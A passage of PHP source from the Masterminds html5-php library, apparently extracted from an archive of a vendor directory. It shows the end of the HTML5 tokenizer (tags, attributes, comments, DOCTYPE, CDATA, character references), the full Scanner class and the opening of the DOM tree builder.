        while (false !== $tok && !('<' == $tok && ($this->scanner->sequenceMatches($sequence, $caseSensitive)))) {
            if ('&' == $tok) {
                $txt .= $this->decodeCharacterReference();
                $tok = $this->scanner->current();
            } else {
                $txt .= $tok;
                $tok = $this->scanner->next();
            }
        }
        $len = strlen($sequence);
        $this->scanner->consume($len);
        $len += $this->scanner->whitespace();
        if ('>' !== $this->scanner->current()) {
            $this->parseError('Unclosed RCDATA end tag');
        }

        $this->scanner->unconsume($len);
        $this->events->text($txt);
        $this->setTextMode(0);

        return $this->endTag();
    }

    /**
     * If the document is read, emit an EOF event.
     */
    protected function eof()
    {
        // fprintf(STDOUT, "EOF");
        $this->flushBuffer();
        $this->events->eof();
        $this->carryOn = false;
    }

    /**
     * Look for markup.
     */
    protected function markupDeclaration()
    {
        $tok = $this->scanner->next();

        // Comment:
        if ('-' == $tok && '-' == $this->scanner->peek()) {
            $this->scanner->consume(2);

            return $this->comment();
        } elseif ('D' == $tok || 'd' == $tok) { // Doctype
            return $this->doctype();
        } elseif ('[' == $tok) { // CDATA section
            return $this->cdataSection();
        }

        // FINISH
        $this->parseError('Expected <!--, <![CDATA[, or <!DOCTYPE. Got <!%s', $tok);
        $this->bogusComment('<!');

        return true;
    }

    /**
     * Consume an end tag. See section 8.2.4.9.
     */
    protected function endTag()
    {
        if ('/' != $this->scanner->current()) {
            return false;
        }
        $tok = $this->scanner->next();

        // a-zA-Z -> tagname
        // > -> parse error
        // EOF -> parse error
        // -> parse error
        if (!$this->is_alpha($tok)) {
            $this->parseError("Expected tag name, got '%s'", $tok);
            if ("\0" == $tok || false === $tok) {
                return false;
            }

            return $this->bogusComment('</');
        }

        $name = $this->scanner->charsUntil("\n\f \t>");
        $name = self::CONFORMANT_XML === $this->mode ? $name : strtolower($name);
        // Trash whitespace.
        $this->scanner->whitespace();

        $tok = $this->scanner->current();
        if ('>' != $tok) {
            $this->parseError("Expected >, got '%s'", $tok);
            // We just trash stuff until we get to the next tag close.
            $this->scanner->charsUntil('>');
        }

        $this->events->endTag($name);
        $this->scanner->consume();

        return true;
    }

    /**
     * Consume a tag name and body. See section 8.2.4.10.
     */
    protected function tagName()
    {
        // We know this is at least one char.
        $name = $this->scanner->charsWhile(':_-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz');
        $name = self::CONFORMANT_XML === $this->mode ? $name : strtolower($name);
        $attributes = array();
        $selfClose = false;

        // Handle attribute parse exceptions here so that we can
        // react by trying to build a sensible parse tree.
        try {
            do {
                $this->scanner->whitespace();
                $this->attribute($attributes);
            } while (!$this->isTagEnd($selfClose));
        } catch (ParseError $e) {
            $selfClose = false;
        }

        $mode = $this->events->startTag($name, $attributes, $selfClose);

        if (is_int($mode)) {
            $this->setTextMode($mode, $name);
        }

        $this->scanner->consume();

        return true;
    }

    /**
     * Check if the scanner has reached the end of a tag.
     */
    protected function isTagEnd(&$selfClose)
    {
        $tok = $this->scanner->current();
        if ('/' == $tok) {
            $this->scanner->consume();
            $this->scanner->whitespace();
            $tok = $this->scanner->current();

            if ('>' == $tok) {
                $selfClose = true;

                return true;
            }
            if (false === $tok) {
                $this->parseError('Unexpected EOF inside of tag.');

                return true;
            }
            // Basically, we skip the / token and go on.
            // See 8.2.4.43.
            $this->parseError("Unexpected '%s' inside of a tag.", $tok);

            return false;
        }

        if ('>' == $tok) {
            return true;
        }
        if (false === $tok) {
            $this->parseError('Unexpected EOF inside of tag.');

            return true;
        }

        return false;
    }

    /**
     * Parse attributes from inside of a tag.
     *
     * @param string[] $attributes
     *
     * @return bool
     *
     * @throws ParseError
     */
    protected function attribute(&$attributes)
    {
        $tok = $this->scanner->current();
        if ('/' == $tok || '>' == $tok || false === $tok) {
            return false;
        }

        if ('<' == $tok) {
            $this->parseError("Unexpected '<' inside of attributes list.");
            // Push the < back onto the stack.
            $this->scanner->unconsume();
            // Let the caller figure out how to handle this.
            throw new ParseError('Start tag inside of attribute.');
        }

        $name = strtolower($this->scanner->charsUntil("/>=\n\f\t "));

        if (0 == strlen($name)) {
            $tok = $this->scanner->current();
            $this->parseError('Expected an attribute name, got %s.', $tok);
            // Really, only '=' can be the char here. Everything else gets absorbed
            // under one rule or another.
            $name = $tok;
            $this->scanner->consume();
        }

        $isValidAttribute = true;
        // Attribute names can contain most Unicode characters for HTML5.
        // But method "DOMElement::setAttribute" is throwing exception
        // because of it's own internal restriction so these have to be filtered.
        // see issue #23: https://github.com/Masterminds/html5-php/issues/23
        // and http://www.w3.org/TR/2011/WD-html5-20110525/syntax.html#syntax-attribute-name
        if (preg_match("/[\x1-\x2C\\/\x3B-\x40\x5B-\x5E\x60\x7B-\x7F]/u", $name)) {
            $this->parseError('Unexpected characters in attribute name: %s', $name);
            $isValidAttribute = false;
        }         // There is no limitation for 1st character in HTML5.
        // But method "DOMElement::setAttribute" is throwing exception for the
        // characters below so they have to be filtered.
        // see issue #23: https://github.com/Masterminds/html5-php/issues/23
        // and http://www.w3.org/TR/2011/WD-html5-20110525/syntax.html#syntax-attribute-name
        elseif (preg_match('/^[0-9.-]/u', $name)) {
            $this->parseError('Unexpected character at the begining of attribute name: %s', $name);
            $isValidAttribute = false;
        }
        // 8.1.2.3
        $this->scanner->whitespace();

        $val = $this->attributeValue();
        if ($isValidAttribute) {
            $attributes[$name] = $val;
        }

        return true;
    }

    /**
     * Consume an attribute value. See section 8.2.4.37 and after.
     *
     * @return string|null
     */
    protected function attributeValue()
    {
        if ('=' != $this->scanner->current()) {
            return null;
        }
        $this->scanner->consume();
        // 8.1.2.3
        $this->scanner->whitespace();

        $tok = $this->scanner->current();
        switch ($tok) {
            case "\n":
            case "\f":
            case ' ':
            case "\t":
                // Whitespace here indicates an empty value.
                return null;
            case '"':
            case "'":
                $this->scanner->consume();

                return $this->quotedAttributeValue($tok);
            case '>':
                // case '/': // 8.2.4.37 seems to allow foo=/ as a valid attr.
                $this->parseError('Expected attribute value, got tag end.');

                return null;
            case '=':
            case '`':
                $this->parseError('Expecting quotes, got %s.', $tok);

                return $this->unquotedAttributeValue();
            default:
                return $this->unquotedAttributeValue();
        }
    }

    /**
     * Get an attribute value string.
     *
     * @param string $quote IMPORTANT: This is a series of chars! Any one of which will be considered
     *                      termination of an attribute's value. E.g. "\"'" will stop at either
     *                      ' or ".
     *
     * @return string The attribute value.
     */
    protected function quotedAttributeValue($quote)
    {
        $stoplist = "\f" . $quote;
        $val = '';

        while (true) {
            $tokens = $this->scanner->charsUntil($stoplist . '&');
            if (false !== $tokens) {
                $val .= $tokens;
            } else {
                break;
            }

            $tok = $this->scanner->current();
            if ('&' == $tok) {
                $val .= $this->decodeCharacterReference(true);
                continue;
            }
            break;
        }
        $this->scanner->consume();

        return $val;
    }

    protected function unquotedAttributeValue()
    {
        $val = '';
        $tok = $this->scanner->current();
        while (false !== $tok) {
            switch ($tok) {
                case "\n":
                case "\f":
                case ' ':
                case "\t":
                case '>':
                    break 2;

                case '&':
                    $val .= $this->decodeCharacterReference(true);
                    $tok = $this->scanner->current();

                    break;

                case "'":
                case '"':
                case '<':
                case '=':
                case '`':
                    $this->parseError('Unexpected chars in unquoted attribute value %s', $tok);
                    $val .= $tok;
                    $tok = $this->scanner->next();
                    break;

                default:
                    $val .= $this->scanner->charsUntil("\t\n\f >&\"'<=`");

                    $tok = $this->scanner->current();
            }
        }

        return $val;
    }

    /**
     * Consume malformed markup as if it were a comment.
     * 8.2.4.44.
     *
     * The spec requires that the ENTIRE tag-like thing be enclosed inside of
     * the comment. So this will generate comments like:
     *
     * &lt;!--&lt/+foo&gt;--&gt;
     *
     * @param string $leading Prepend any leading characters. This essentially
     *                        negates the need to backtrack, but it's sort of a hack.
     *
     * @return bool
     */
    protected function bogusComment($leading = '')
    {
        $comment = $leading;
        $tokens = $this->scanner->charsUntil('>');
        if (false !== $tokens) {
            $comment .= $tokens;
        }
        $tok = $this->scanner->current();
        if (false !== $tok) {
            $comment .= $tok;
        }

        $this->flushBuffer();
        $this->events->comment($comment);
        $this->scanner->consume();

        return true;
    }

    /**
     * Read a comment.
     * Expects the first tok to be inside of the comment.
     *
     * @return bool
     */
    protected function comment()
    {
        $tok = $this->scanner->current();
        $comment = '';

        // <!-->. Emit an empty comment because 8.2.4.46 says to.
        if ('>' == $tok) {
            // Parse error. Emit the comment token.
            $this->parseError("Expected comment data, got '>'");
            $this->events->comment('');
            $this->scanner->consume();

            return true;
        }

        // Replace NULL with the replacement char.
        if ("\0" == $tok) {
            $tok = UTF8Utils::FFFD;
        }
        while (!$this->isCommentEnd()) {
            $comment .= $tok;
            $tok = $this->scanner->next();
        }

        $this->events->comment($comment);
        $this->scanner->consume();

        return true;
    }

    /**
     * Check if the scanner has reached the end of a comment.
     *
     * @return bool
     */
    protected function isCommentEnd()
    {
        $tok = $this->scanner->current();

        // EOF
        if (false === $tok) {
            // Hit the end.
            $this->parseError('Unexpected EOF in a comment.');

            return true;
        }

        // If next two tokens are not '--', not the end.
        if ('-' != $tok || '-' != $this->scanner->peek()) {
            return false;
        }

        $this->scanner->consume(2); // Consume '-' and one of '!' or '>'

        // Test for '>'
        if ('>' == $this->scanner->current()) {
            return true;
        }
        // Test for '!>'
        if ('!' == $this->scanner->current() && '>' == $this->scanner->peek()) {
            $this->scanner->consume(); // Consume the last '>'
            return true;
        }
        // Unread '-' and one of '!' or '>';
        $this->scanner->unconsume(2);

        return false;
    }

    /**
     * Parse a DOCTYPE.
     *
     * Parse a DOCTYPE declaration. This method has strong bearing on whether or
     * not Quirksmode is enabled on the event handler.
     *
     * @todo This method is a little long. Should probably refactor.
     *
     * @return bool
     */
    protected function doctype()
    {
        // Check that string is DOCTYPE.
        if ($this->scanner->sequenceMatches('DOCTYPE', false)) {
            $this->scanner->consume(7);
        } else {
            $chars = $this->scanner->charsWhile('DOCTYPEdoctype');
            $this->parseError('Expected DOCTYPE, got %s', $chars);

            return $this->bogusComment('<!' . $chars);
        }

        $this->scanner->whitespace();
        $tok = $this->scanner->current();

        // EOF: die.
        if (false === $tok) {
            $this->events->doctype('html5', EventHandler::DOCTYPE_NONE, '', true);
            $this->eof();

            return true;
        }

        // NULL char: convert.
        if ("\0" === $tok) {
            $this->parseError('Unexpected null character in DOCTYPE.');
        }

        $stop = " \n\f>";
        $doctypeName = $this->scanner->charsUntil($stop);
        // Lowercase ASCII, replace \0 with FFFD
        $doctypeName = strtolower(strtr($doctypeName, "\0", UTF8Utils::FFFD));

        $tok = $this->scanner->current();

        // If false, emit a parse error, DOCTYPE, and return.
        if (false === $tok) {
            $this->parseError('Unexpected EOF in DOCTYPE declaration.');
            $this->events->doctype($doctypeName, EventHandler::DOCTYPE_NONE, null, true);

            return true;
        }

        // Short DOCTYPE, like <!DOCTYPE html>
        if ('>' == $tok) {
            // DOCTYPE without a name.
            if (0 == strlen($doctypeName)) {
                $this->parseError('Expected a DOCTYPE name. Got nothing.');
                $this->events->doctype($doctypeName, 0, null, true);
                $this->scanner->consume();

                return true;
            }
            $this->events->doctype($doctypeName);
            $this->scanner->consume();

            return true;
        }
        $this->scanner->whitespace();

        $pub = strtoupper($this->scanner->getAsciiAlpha());
        $white = $this->scanner->whitespace();

        // Get ID, and flag it as pub or system.
        if (('PUBLIC' == $pub || 'SYSTEM' == $pub) && $white > 0) {
            // Get the sys ID.
            $type = 'PUBLIC' == $pub ? EventHandler::DOCTYPE_PUBLIC : EventHandler::DOCTYPE_SYSTEM;
            $id = $this->quotedString("\0>");
            if (false === $id) {
                $this->events->doctype($doctypeName, $type, $pub, false);

                return true;
            }

            // Premature EOF.
            if (false === $this->scanner->current()) {
                $this->parseError('Unexpected EOF in DOCTYPE');
                $this->events->doctype($doctypeName, $type, $id, true);

                return true;
            }

            // Well-formed complete DOCTYPE.
            $this->scanner->whitespace();
            if ('>' == $this->scanner->current()) {
                $this->events->doctype($doctypeName, $type, $id, false);
                $this->scanner->consume();

                return true;
            }

            // If we get here, we have <!DOCTYPE foo PUBLIC "bar" SOME_JUNK
            // Throw away the junk, parse error, quirks mode, return true.
            $this->scanner->charsUntil('>');
            $this->parseError('Malformed DOCTYPE.');
            $this->events->doctype($doctypeName, $type, $id, true);
            $this->scanner->consume();

            return true;
        }

        // Else it's a bogus DOCTYPE.
        // Consume to > and trash.
        $this->scanner->charsUntil('>');

        $this->parseError('Expected PUBLIC or SYSTEM. Got %s.', $pub);
        $this->events->doctype($doctypeName, 0, null, true);
        $this->scanner->consume();

        return true;
    }

    /**
     * Utility for reading a quoted string.
     *
     * @param string $stopchars Characters (in addition to a close-quote) that should stop the string.
     *                          E.g. sometimes '>' is higher precedence than '"' or "'".
     *
     * @return mixed String if one is found (quotations omitted).
     */
    protected function quotedString($stopchars)
    {
        $tok = $this->scanner->current();
        if ('"' == $tok || "'" == $tok) {
            $this->scanner->consume();
            $ret = $this->scanner->charsUntil($tok . $stopchars);
            if ($this->scanner->current() == $tok) {
                $this->scanner->consume();
            } else {
                // Parse error because no close quote.
                $this->parseError('Expected %s, got %s', $tok, $this->scanner->current());
            }

            return $ret;
        }

        return false;
    }

    /**
     * Handle a CDATA section.
     *
     * @return bool
     */
    protected function cdataSection()
    {
        $cdata = '';
        $this->scanner->consume();

        $chars = $this->scanner->charsWhile('CDAT');
        if ('CDATA' != $chars || '[' != $this->scanner->current()) {
            $this->parseError('Expected [CDATA[, got %s', $chars);

            return $this->bogusComment('<![' . $chars);
        }

        $tok = $this->scanner->next();
        do {
            if (false === $tok) {
                $this->parseError('Unexpected EOF inside CDATA.');
                $this->bogusComment('<![CDATA[' . $cdata);

                return true;
            }
            $cdata .= $tok;
            $tok = $this->scanner->next();
        } while (!$this->scanner->sequenceMatches(']]>'));

        // Consume ]]>
        $this->scanner->consume(3);

        $this->events->cdata($cdata);

        return true;
    }

    // ================================================================
    // Non-HTML5
    // ================================================================

    /**
     * Handle a processing instruction.
     *
     * XML processing instructions are supposed to be ignored in HTML5,
     * treated as "bogus comments". However, since we're not a user
     * agent, we allow them. We consume until ?> and then issue a
     * EventListener::processingInstruction() event.
     *
     * @return bool
     */
    protected function processingInstruction()
    {
        if ('?' != $this->scanner->current()) {
            return false;
        }

        $tok = $this->scanner->next();
        $procName = $this->scanner->getAsciiAlpha();
        $white = $this->scanner->whitespace();

        // If not a PI, send to bogusComment.
        if (0 == strlen($procName) || 0 == $white || false == $this->scanner->current()) {
            $this->parseError("Expected processing instruction name, got $tok");
            $this->bogusComment('<?' . $tok . $procName);

            return true;
        }

        $data = '';
        // As long as it's not the case that the next two chars are ? and >.
        while (!('?' == $this->scanner->current() && '>' == $this->scanner->peek())) {
            $data .= $this->scanner->current();

            $tok = $this->scanner->next();
            if (false === $tok) {
                $this->parseError('Unexpected EOF in processing instruction.');
                $this->events->processingInstruction($procName, $data);

                return true;
            }
        }

        $this->scanner->consume(2); // Consume the closing tag
        $this->events->processingInstruction($procName, $data);

        return true;
    }

    // ================================================================
    // UTILITY FUNCTIONS
    // ================================================================

    /**
     * Read from the input stream until we get to the desired sequene
     * or hit the end of the input stream.
     *
     * @param string $sequence
     *
     * @return string
     */
    protected function readUntilSequence($sequence)
    {
        $buffer = '';

        // Optimization for reading larger blocks faster.
        $first = substr($sequence, 0, 1);
        while (false !== $this->scanner->current()) {
            $buffer .= $this->scanner->charsUntil($first);

            // Stop as soon as we hit the stopping condition.
            if ($this->scanner->sequenceMatches($sequence, false)) {
                return $buffer;
            }
            $buffer .= $this->scanner->current();
            $this->scanner->consume();
        }

        // If we get here, we hit the EOF.
        $this->parseError('Unexpected EOF during text read.');

        return $buffer;
    }

    /**
     * Check if upcomming chars match the given sequence.
     *
     * This will read the stream for the $sequence. If it's
     * found, this will return true. If not, return false.
     * Since this unconsumes any chars it reads, the caller
     * will still need to read the next sequence, even if
     * this returns true.
     *
     * Example: $this->scanner->sequenceMatches('</script>') will
     * see if the input stream is at the start of a
     * '</script>' string.
     *
     * @param string $sequence
     * @param bool   $caseSensitive
     *
     * @return bool
     */
    protected function sequenceMatches($sequence, $caseSensitive = true)
    {
        @trigger_error(__METHOD__ . ' method is deprecated since version 2.4 and will be removed in 3.0. Use Scanner::sequenceMatches() instead.', E_USER_DEPRECATED);

        return $this->scanner->sequenceMatches($sequence, $caseSensitive);
    }

    /**
     * Send a TEXT event with the contents of the text buffer.
     *
     * This emits an EventHandler::text() event with the current contents of the
     * temporary text buffer. (The buffer is used to group as much PCDATA
     * as we can instead of emitting lots and lots of TEXT events.)
     */
    protected function flushBuffer()
    {
        if ('' === $this->text) {
            return;
        }
        $this->events->text($this->text);
        $this->text = '';
    }

    /**
     * Add text to the temporary buffer.
     *
     * @see flushBuffer()
     *
     * @param string $str
     */
    protected function buffer($str)
    {
        $this->text .= $str;
    }

    /**
     * Emit a parse error.
     *
     * A parse error always returns false because it never consumes any
     * characters.
     *
     * @param string $msg
     *
     * @return string
     */
    protected function parseError($msg)
    {
        $args = func_get_args();

        if (count($args) > 1) {
            array_shift($args);
            $msg = vsprintf($msg, $args);
        }

        $line = $this->scanner->currentLine();
        $col = $this->scanner->columnOffset();
        $this->events->parseError($msg, $line, $col);

        return false;
    }

    /**
     * Decode a character reference and return the string.
     *
     * If $inAttribute is set to true, a bare & will be returned as-is.
     *
     * @param bool $inAttribute Set to true if the text is inside of an attribute value.
     *                          false otherwise.
     *
     * @return string
     */
    protected function decodeCharacterReference($inAttribute = false)
    {
        // Next char after &.
        $tok = $this->scanner->next();
        $start = $this->scanner->position();

        if (false === $tok) {
            return '&';
        }

        // These indicate not an entity. We return just
        // the &.
        if ("\t" === $tok || "\n" === $tok || "\f" === $tok || ' ' === $tok || '&' === $tok || '<' === $tok) {
            // $this->scanner->next();
            return '&';
        }

        // Numeric entity
        if ('#' === $tok) {
            $tok = $this->scanner->next();

            if (false === $tok) {
                $this->parseError('Expected &#DEC; &#HEX;, got EOF');
                $this->scanner->unconsume(1);

                return '&';
            }

            // Hexidecimal encoding.
            // X[0-9a-fA-F]+;
            // x[0-9a-fA-F]+;
            if ('x' === $tok || 'X' === $tok) {
                $tok = $this->scanner->next(); // Consume x

                // Convert from hex code to char.
                $hex = $this->scanner->getHex();
                if (empty($hex)) {
                    $this->parseError('Expected &#xHEX;, got &#x%s', $tok);
                    // We unconsume because we don't know what parser rules might
                    // be in effect for the remaining chars. For example. '&#>'
                    // might result in a specific parsing rule inside of tag
                    // contexts, while not inside of pcdata context.
                    $this->scanner->unconsume(2);

                    return '&';
                }
                $entity = CharacterReference::lookupHex($hex);
            }             // Decimal encoding.
            // [0-9]+;
            else {
                // Convert from decimal to char.
                $numeric = $this->scanner->getNumeric();
                if (false === $numeric) {
                    $this->parseError('Expected &#DIGITS;, got &#%s', $tok);
                    $this->scanner->unconsume(2);

                    return '&';
                }
                $entity = CharacterReference::lookupDecimal($numeric);
            }
        } elseif ('=' === $tok && $inAttribute) {
            return '&';
        } else { // String entity.
            // Attempt to consume a string up to a ';'.
            // [a-zA-Z0-9]+;
            $cname = $this->scanner->getAsciiAlphaNum();
            $entity = CharacterReference::lookupName($cname);

            // When no entity is found provide the name of the unmatched string
            // and continue on as the & is not part of an entity. The & will
            // be converted to &amp; elsewhere.
            if (null === $entity) {
                if (!$inAttribute || '' === $cname) {
                    $this->parseError("No match in entity table for '%s'", $cname);
                }
                $this->scanner->unconsume($this->scanner->position() - $start);

                return '&';
            }
        }

        // The scanner has advanced the cursor for us.
        $tok = $this->scanner->current();

        // We have an entity. We're done here.
        if (';' === $tok) {
            $this->scanner->consume();

            return $entity;
        }

        // Failing to match ; means unconsume the entire string.
        $this->scanner->unconsume($this->scanner->position() - $start);

        $this->parseError('Expected &ENTITY;, got &ENTITY%s (no trailing ;) ', $tok);

        return '&';
    }

    /**
     * Checks whether a (single-byte) character is an ASCII letter or not.
     *
     * @param string $input A single-byte string
     *
     * @return bool True if it is a letter, False otherwise
     */
    protected function is_alpha($input)
    {
        $code = ord($input);

        return ($code >= 97 && $code <= 122) || ($code >= 65 && $code <= 90);
    }
}
vendor/masterminds/html5/src/HTML5/Parser/Scanner.php000066600000026304151150442750016413 0ustar00<?php

namespace Masterminds\HTML5\Parser;

use Masterminds\HTML5\Exception;

/**
 * The scanner scans over a given data input to react appropriately to characters.
 */
class Scanner
{
    const CHARS_HEX = 'abcdefABCDEF01234567890';
    const CHARS_ALNUM = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890';
    const CHARS_ALPHA = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

    /**
     * The string data we're parsing.
     */
    private $data;

    /**
     * The current integer byte position we are in $data.
     */
    private $char;

    /**
     * Length of $data; when $char === $data, we are at the end-of-file.
     */
    private $EOF;

    /**
     * Parse errors.
     */
    public $errors = array();

    /**
     * Create a new Scanner.
     *
     * @param string $data     Data to parse.
     * @param string $encoding The encoding to use for the data.
     *
     * @throws Exception If the given data cannot be encoded to UTF-8.
     */
    public function __construct($data, $encoding = 'UTF-8')
    {
        if ($data instanceof InputStream) {
            @trigger_error('InputStream objects are deprecated since version 2.4 and will be removed in 3.0. Use strings instead.', E_USER_DEPRECATED);
            $data = (string) $data;
        }

        $data = UTF8Utils::convertToUTF8($data, $encoding);

        // There is good reason to question whether it makes sense to
        // do this here, since most of these checks are done during
        // parsing, and since this check doesn't actually *do* anything.
        $this->errors = UTF8Utils::checkForIllegalCodepoints($data);

        $data = $this->replaceLinefeeds($data);

        $this->data = $data;
        $this->char = 0;
        $this->EOF = strlen($data);
    }

    /**
     * Check if upcomming chars match the given sequence.
     *
     * This will read the stream for the $sequence. If it's
     * found, this will return true. If not, return false.
     * Since this unconsumes any chars it reads, the caller
     * will still need to read the next sequence, even if
     * this returns true.
     *
     * Example: $this->scanner->sequenceMatches('</script>') will
     * see if the input stream is at the start of a
     * '</script>' string.
     *
     * @param string $sequence
     * @param bool   $caseSensitive
     *
     * @return bool
     */
    public function sequenceMatches($sequence, $caseSensitive = true)
    {
        $portion = substr($this->data, $this->char, strlen($sequence));

        return $caseSensitive ? $portion === $sequence : 0 === strcasecmp($portion, $sequence);
    }

    /**
     * Get the current position.
     *
     * @return int The current intiger byte position.
     */
    public function position()
    {
        return $this->char;
    }

    /**
     * Take a peek at the next character in the data.
     *
     * @return string The next character.
     */
    public function peek()
    {
        if (($this->char + 1) < $this->EOF) {
            return $this->data[$this->char + 1];
        }

        return false;
    }

    /**
     * Get the next character.
     * Note: This advances the pointer.
     *
     * @return string The next character.
     */
    public function next()
    {
        ++$this->char;

        if ($this->char < $this->EOF) {
            return $this->data[$this->char];
        }

        return false;
    }

    /**
     * Get the current character.
     * Note, this does not advance the pointer.
     *
     * @return string The current character.
     */
    public function current()
    {
        if ($this->char < $this->EOF) {
            return $this->data[$this->char];
        }

        return false;
    }

    /**
     * Silently consume N chars.
     *
     * @param int $count
     */
    public function consume($count = 1)
    {
        $this->char += $count;
    }

    /**
     * Unconsume some of the data.
     * This moves the data pointer backwards.
     *
     * @param int $howMany The number of characters to move the pointer back.
     */
    public function unconsume($howMany = 1)
    {
        if (($this->char - $howMany) >= 0) {
            $this->char -= $howMany;
        }
    }

    /**
     * Get the next group of that contains hex characters.
     * Note, along with getting the characters the pointer in the data will be
     * moved as well.
     *
     * @return string The next group that is hex characters.
     */
    public function getHex()
    {
        return $this->doCharsWhile(static::CHARS_HEX);
    }

    /**
     * Get the next group of characters that are ASCII Alpha characters.
     * Note, along with getting the characters the pointer in the data will be
     * moved as well.
     *
     * @return string The next group of ASCII alpha characters.
     */
    public function getAsciiAlpha()
    {
        return $this->doCharsWhile(static::CHARS_ALPHA);
    }

    /**
     * Get the next group of characters that are ASCII Alpha characters and numbers.
     * Note, along with getting the characters the pointer in the data will be
     * moved as well.
     *
     * @return string The next group of ASCII alpha characters and numbers.
     */
    public function getAsciiAlphaNum()
    {
        return $this->doCharsWhile(static::CHARS_ALNUM);
    }

    /**
     * Get the next group of numbers.
     * Note, along with getting the characters the pointer in the data will be
     * moved as well.
     *
     * @return string The next group of numbers.
     */
    public function getNumeric()
    {
        return $this->doCharsWhile('0123456789');
    }

    /**
     * Consume whitespace.
     * Whitespace in HTML5 is: formfeed, tab, newline, space.
     *
     * @return int The length of the matched whitespaces.
     */
    public function whitespace()
    {
        if ($this->char >= $this->EOF) {
            return false;
        }

        $len = strspn($this->data, "\n\t\f ", $this->char);

        $this->char += $len;

        return $len;
    }

    /**
     * Returns the current line that is being consumed.
     *
     * @return int The current line number.
     */
    public function currentLine()
    {
        if (empty($this->EOF) || 0 === $this->char) {
            return 1;
        }

        // Add one to $this->char because we want the number for the next
        // byte to be processed.
        return substr_count($this->data, "\n", 0, min($this->char, $this->EOF)) + 1;
    }

    /**
     * Read chars until something in the mask is encountered.
     *
     * @param string $mask
     *
     * @return mixed
     */
    public function charsUntil($mask)
    {
        return $this->doCharsUntil($mask);
    }

    /**
     * Read chars as long as the mask matches.
     *
     * @param string $mask
     *
     * @return int
     */
    public function charsWhile($mask)
    {
        return $this->doCharsWhile($mask);
    }

    /**
     * Returns the current column of the current line that the tokenizer is at.
     *
     * Newlines are column 0. The first char after a newline is column 1.
     *
     * @return int The column number.
     */
    public function columnOffset()
    {
        // Short circuit for the first char.
        if (0 === $this->char) {
            return 0;
        }

        // strrpos is weird, and the offset needs to be negative for what we
        // want (i.e., the last \n before $this->char). This needs to not have
        // one (to make it point to the next character, the one we want the
        // position of) added to it because strrpos's behaviour includes the
        // final offset byte.
        $backwardFrom = $this->char - 1 - strlen($this->data);
        $lastLine = strrpos($this->data, "\n", $backwardFrom);

        // However, for here we want the length up until the next byte to be
        // processed, so add one to the current byte ($this->char).
        if (false !== $lastLine) {
            $findLengthOf = substr($this->data, $lastLine + 1, $this->char - 1 - $lastLine);
        } else {
            // After a newline.
            $findLengthOf = substr($this->data, 0, $this->char);
        }

        return UTF8Utils::countChars($findLengthOf);
    }

    /**
     * Get all characters until EOF.
     *
     * This consumes characters until the EOF.
     *
     * @return int The number of characters remaining.
     */
    public function remainingChars()
    {
        if ($this->char < $this->EOF) {
            $data = substr($this->data, $this->char);
            $this->char = $this->EOF;

            return $data;
        }

        return ''; // false;
    }

    /**
     * Replace linefeed characters according to the spec.
     *
     * @param $data
     *
     * @return string
     */
    private function replaceLinefeeds($data)
    {
        /*
         * U+000D CARRIAGE RETURN (CR) characters and U+000A LINE FEED (LF) characters are treated specially.
         * Any CR characters that are followed by LF characters must be removed, and any CR characters not
         * followed by LF characters must be converted to LF characters. Thus, newlines in HTML DOMs are
         * represented by LF characters, and there are never any CR characters in the input to the tokenization
         * stage.
         */
        $crlfTable = array(
            "\0" => "\xEF\xBF\xBD",
            "\r\n" => "\n",
            "\r" => "\n",
        );

        return strtr($data, $crlfTable);
    }

    /**
     * Read to a particular match (or until $max bytes are consumed).
     *
     * This operates on byte sequences, not characters.
     *
     * Matches as far as possible until we reach a certain set of bytes
     * and returns the matched substring.
     *
     * @param string $bytes Bytes to match.
     * @param int    $max   Maximum number of bytes to scan.
     *
     * @return mixed Index or false if no match is found. You should use strong
     *               equality when checking the result, since index could be 0.
     */
    private function doCharsUntil($bytes, $max = null)
    {
        if ($this->char >= $this->EOF) {
            return false;
        }

        if (0 === $max || $max) {
            $len = strcspn($this->data, $bytes, $this->char, $max);
        } else {
            $len = strcspn($this->data, $bytes, $this->char);
        }

        $string = (string) substr($this->data, $this->char, $len);
        $this->char += $len;

        return $string;
    }

    /**
     * Returns the string so long as $bytes matches.
     *
     * Matches as far as possible with a certain set of bytes
     * and returns the matched substring.
     *
     * @param string $bytes A mask of bytes to match. If ANY byte in this mask matches the
     *                      current char, the pointer advances and the char is part of the
     *                      substring.
     * @param int    $max   The max number of chars to read.
     *
     * @return string
     */
    private function doCharsWhile($bytes, $max = null)
    {
        if ($this->char >= $this->EOF) {
            return false;
        }

        if (0 === $max || $max) {
            $len = strspn($this->data, $bytes, $this->char, $max);
        } else {
            $len = strspn($this->data, $bytes, $this->char);
        }

        $string = (string) substr($this->data, $this->char, $len);
        $this->char += $len;

        return $string;
    }
}
vendor/masterminds/html5/src/HTML5/Parser/DOMTreeBuilder.php000066600000055525151150442750017577 0ustar00<?php

namespace Masterminds\HTML5\Parser;

use Masterminds\HTML5\Elements;
use Masterminds\HTML5\InstructionProcessor;

/**
 * Create an HTML5 DOM tree from events.
 *
 * This attempts to create a DOM from events emitted by a parser. This
 * attempts (but does not guarantee) to up-convert older HTML documents
 * to HTML5. It does this by applying HTML5's rules, but it will not
 * change the architecture of the document itself.
 *
 * Many of the error correction and quirks features suggested in the specification
 * are implemented herein; however, not all of them are. Since we do not
 * assume a graphical user agent, no presentation-specific logic is conducted
 * during tree building.
 *
 * FIXME: The present tree builder does not exactly follow the state machine rules
 * for insert modes as outlined in the HTML5 spec. The processor needs to be
 * re-written to accomodate this. See, for example, the Go language HTML5
 * parser.
 */
class DOMTreeBuilder implements EventHandler
{
    /**
     * Defined in http://www.w3.org/TR/html51/infrastructure.html#html-namespace-0.
     */
    const NAMESPACE_HTML = 'http://www.w3.org/1999/xhtml';

    const NAMESPACE_MATHML = 'http://www.w3.org/1998/Math/MathML';

    const NAMESPACE_SVG = 'http://www.w3.org/2000/svg';

    const NAMESPACE_XLINK = 'http://www.w3.org/1999/xlink';

    const NAMESPACE_XML = 'http://www.w3.org/XML/1998/namespace';

    const NAMESPACE_XMLNS = 'http://www.w3.org/2000/xmlns/';

    const OPT_DISABLE_HTML_NS = 'disable_html_ns';

    const OPT_TARGET_DOC = 'target_document';

    const OPT_IMPLICIT_NS = 'implicit_namespaces';

    /**
     * Holds the HTML5 element names that causes a namespace switch.
     *
     * @var array
     */
    protected $nsRoots = array(
        'html' => self::NAMESPACE_HTML,
